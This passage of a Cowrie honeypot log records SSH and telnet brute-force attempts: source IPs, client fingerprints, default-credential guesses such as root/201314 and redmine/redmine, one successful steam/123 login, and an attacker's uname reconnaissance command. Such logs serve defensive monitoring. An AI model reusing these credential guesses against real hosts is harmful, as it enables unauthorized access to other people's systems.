{"eventid":"cowrie.login.failed","username":"redmine","password":"redmine","message":"login attempt [redmine/redmine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:07.297886Z","src_ip":"91.92.40.36","session":"788b32dcac00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":59194,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cc1e3ba8d2a","protocol":"ssh","message":"New connection: 103.84.236.242:59194 (159.203.135.109:22) [session: 8cc1e3ba8d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:09.290061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:09.294639Z","src_ip":"103.84.236.242","session":"8cc1e3ba8d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:09.526388Z","src_ip":"103.84.236.242","session":"8cc1e3ba8d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201314","message":"login attempt [root/201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:10.484790Z","src_ip":"103.84.236.242","session":"8cc1e3ba8d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:10.638597Z","src_ip":"91.92.40.36","session":"788b32dcac00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:11.718788Z","src_ip":"103.84.236.242","session":"8cc1e3ba8d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45014,"dst_ip":"10.17.0.5","dst_port":22,"session":"f309352e507b","protocol":"ssh","message":"New connection: 91.92.40.36:45014 (10.17.0.5:22) [session: f309352e507b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:13.019992Z"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:13.304807Z","src_ip":"91.92.40.36","session":"e73f9298b3d8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:14.399432Z","src_ip":"91.92.40.36","session":"f309352e507b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:14.402844Z","src_ip":"91.92.40.36","session":"f309352e507b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.38579845428467,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:14.669205Z","src_ip":"172.81.62.90","session":"d471404e42ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:16.136285Z","src_ip":"91.92.40.36","session":"e73f9298b3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34226,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2220ae3eef0","protocol":"ssh","message":"New connection: 91.92.40.36:34226 (10.17.0.5:22) [session: d2220ae3eef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:19.350203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:20.575472Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:20.578616Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:22.855646Z","src_ip":"91.92.40.36","session":"f309352e507b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:24.134064Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4f44faa2127","protocol":"telnet","message":"New connection: 128.199.8.54:55418 (159.203.135.109:23) [session: b4f44faa2127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:24.985859Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":47006,"dst_ip":"159.203.135.109","dst_port":22,"session":"50aa818b642a","protocol":"ssh","message":"New connection: 102.210.148.92:47006 (159.203.135.109:22) [session: 50aa818b642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:25.048370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:25.053071Z","src_ip":"102.210.148.92","session":"50aa818b642a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:25.298962Z","src_ip":"102.210.148.92","session":"50aa818b642a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:26.273046Z","src_ip":"91.92.40.36","session":"f309352e507b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.357622385025024,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:26.277300Z","src_ip":"172.81.62.90","session":"945d2ca9d1fd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"123","message":"login attempt [dbadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:26.303671Z","src_ip":"102.210.148.92","session":"50aa818b642a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:26.477622Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:26.480676Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:27.365446Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:27.385312Z","src_ip":"91.92.40.36","session":"d2220ae3eef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:27.549625Z","src_ip":"102.210.148.92","session":"50aa818b642a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59528,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fe7c3d94ccf","protocol":"ssh","message":"New connection: 91.92.40.36:59528 (10.17.0.5:22) [session: 3fe7c3d94ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:28.699535Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":42514,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed871fc66c65","protocol":"ssh","message":"New connection: 87.106.47.28:42514 (10.17.0.5:22) [session: ed871fc66c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:28.868611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:28.873142Z","src_ip":"87.106.47.28","session":"ed871fc66c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:28.971485Z","src_ip":"87.106.47.28","session":"ed871fc66c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"225588","message":"login attempt [root/225588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:29.397979Z","src_ip":"87.106.47.28","session":"ed871fc66c65","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:29.538146Z","src_ip":"91.92.40.36","session":"3fe7c3d94ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:30.194582Z","src_ip":"91.92.40.36","session":"3fe7c3d94ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:30.500654Z","src_ip":"87.106.47.28","session":"ed871fc66c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54810,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8753282d155","protocol":"telnet","message":"New connection: 128.199.8.54:54810 (159.203.135.109:23) [session: d8753282d155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:31.181811Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":59166,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfdecd766e56","protocol":"ssh","message":"New connection: 181.188.176.242:59166 (10.17.0.5:22) [session: bfdecd766e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:31.380812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:31.385332Z","src_ip":"181.188.176.242","session":"bfdecd766e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:31.548470Z","src_ip":"181.188.176.242","session":"bfdecd766e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":36948,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6645b03a111","protocol":"ssh","message":"New connection: 163.7.9.84:36948 (10.17.0.5:22) [session: a6645b03a111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:32.139403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:32.143680Z","src_ip":"163.7.9.84","session":"a6645b03a111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"314159265","message":"login attempt [root/314159265] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:18:32.226023Z","src_ip":"181.188.176.242","session":"bfdecd766e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 